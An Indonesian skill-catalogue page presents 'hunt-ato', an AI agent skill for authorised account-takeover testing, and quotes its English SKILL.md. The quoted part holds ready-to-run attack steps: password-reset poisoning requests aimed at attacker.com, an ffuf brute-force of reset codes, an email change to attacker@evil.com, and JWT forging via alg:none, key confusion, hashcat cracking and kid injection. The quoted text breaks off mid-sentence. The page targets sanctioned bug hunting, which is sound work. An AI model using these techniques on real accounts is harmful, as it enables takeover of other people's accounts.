Langsung ke konten
Skillpedia
Keamanan5.4k Β· #14894

hunt-ato

Fungsinya

Skill ini memeriksa fitur login dan pemulihan akun untuk jalur yang memungkinkan seseorang mengambil alih akun orang lain. Skill ini ditujukan untuk pengujian keamanan yang sudah diizinkan dengan akun uji yang Anda kendalikan.

Kapan dipakai

  • βœ“Saat fitur reset kata sandi atau perubahan email masuk dalam cakupan pengujian keamanan.
  • βœ“Saat alur penautan akun OAuth atau login sosial perlu diperiksa.
  • βœ“Saat Anda ingin memastikan pengambilalihan berhasil pada akun kedua yang Anda kendalikan.

Link skill

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-ato/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-ato/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda memeriksa apakah alur reset kata sandi kami bisa disalahgunakan untuk mengambil alih akun uji dalam pengujian kami yang sudah diizinkan?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mencoba beberapa jalur pengambilalihan yang dikenal, seperti memanipulasi tautan reset atau perubahan email, memakai dua akun uji. Agent hanya mengonfirmasi pengambilalihan jika berhasil pada akun kedua.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

13. ATO β€” ACCOUNT TAKEOVER TAXONOMY

9 distinct paths. ATO is a destination class, not a single bug β€” each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

Path 1: Password Reset Poisoning (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

email=victimB@company.com

The reset mailer builds the link from the request Host header β†’ link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned β€” read the email, do not infer from the reflected header.

Path 2: Reset Token in Referer / Open-Redirect Leak

GET /reset-password?token=ABC123
β†’ page loads third-party resource: <script src="https://analytics.com/t.js">
β†’ browser sends  Referer: https://target.com/reset-password?token=ABC123
β†’ token exfiltrated to every off-origin host the page calls

Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body β€” note their absence.

Path 3: Predictable / Weak Reset Tokens

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff β€” md5(timestamp)/sequential int = predictable

Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected β€” the impact is token guessing, not request flooding.

Path 4: Token No-Expiry / Reuse / Cross-Account

Expiry:  request token β†’ wait 2h β†’ still valid? = bug
Reuse:   use token once β†’ use again β†’ still valid? = bug
Multi:   request token#1, then token#2 β†’ is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset

Path 5: Email Change Without Re-Auth

PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"}     # no current_password, no OTP, no email-confirm

If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset β†’ reset lands at attacker mailbox β†’ ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change β†’ ATO via missing re-auth.

Path 6: JWT Manipulation

# (a) alg:none β€” strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)

Verified grounding for this class: CVE-2015-9235 (node jsonwebtoken <4.2.2 β€” alg confusion / none bypass), [CVE-2016-10555](https://nvd.nis

Pertanyaan umum

Mengapa dibutuhkan dua akun?

Skill ini menyebutkan pengambilalihan harus ditunjukkan pada akun kedua yang tidak Anda kendalikan, bukan sekadar mengunci akun Anda sendiri.

Jalur apa saja yang dicakup?

Skill ini mencakup sembilan jalur, termasuk peracunan tautan reset, perubahan email tanpa login ulang, CSRF penautan OAuth, dan session fixation.

Apakah ini mencakup bypass multi-faktor?

Skill ini mengarahkan ke skill bypass MFA terpisah untuk bagian itu.

Detail

Deskripsi asli dari pembuat

Hunt account takeover taxonomy β€” 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details β†’ hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chain

repo: elementalsouls/Claude-BugHunter

Popularitas

Bintang GitHub
5.4k
Peringkat
#14894
Lisensi
MIT
Diperbarui
2/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa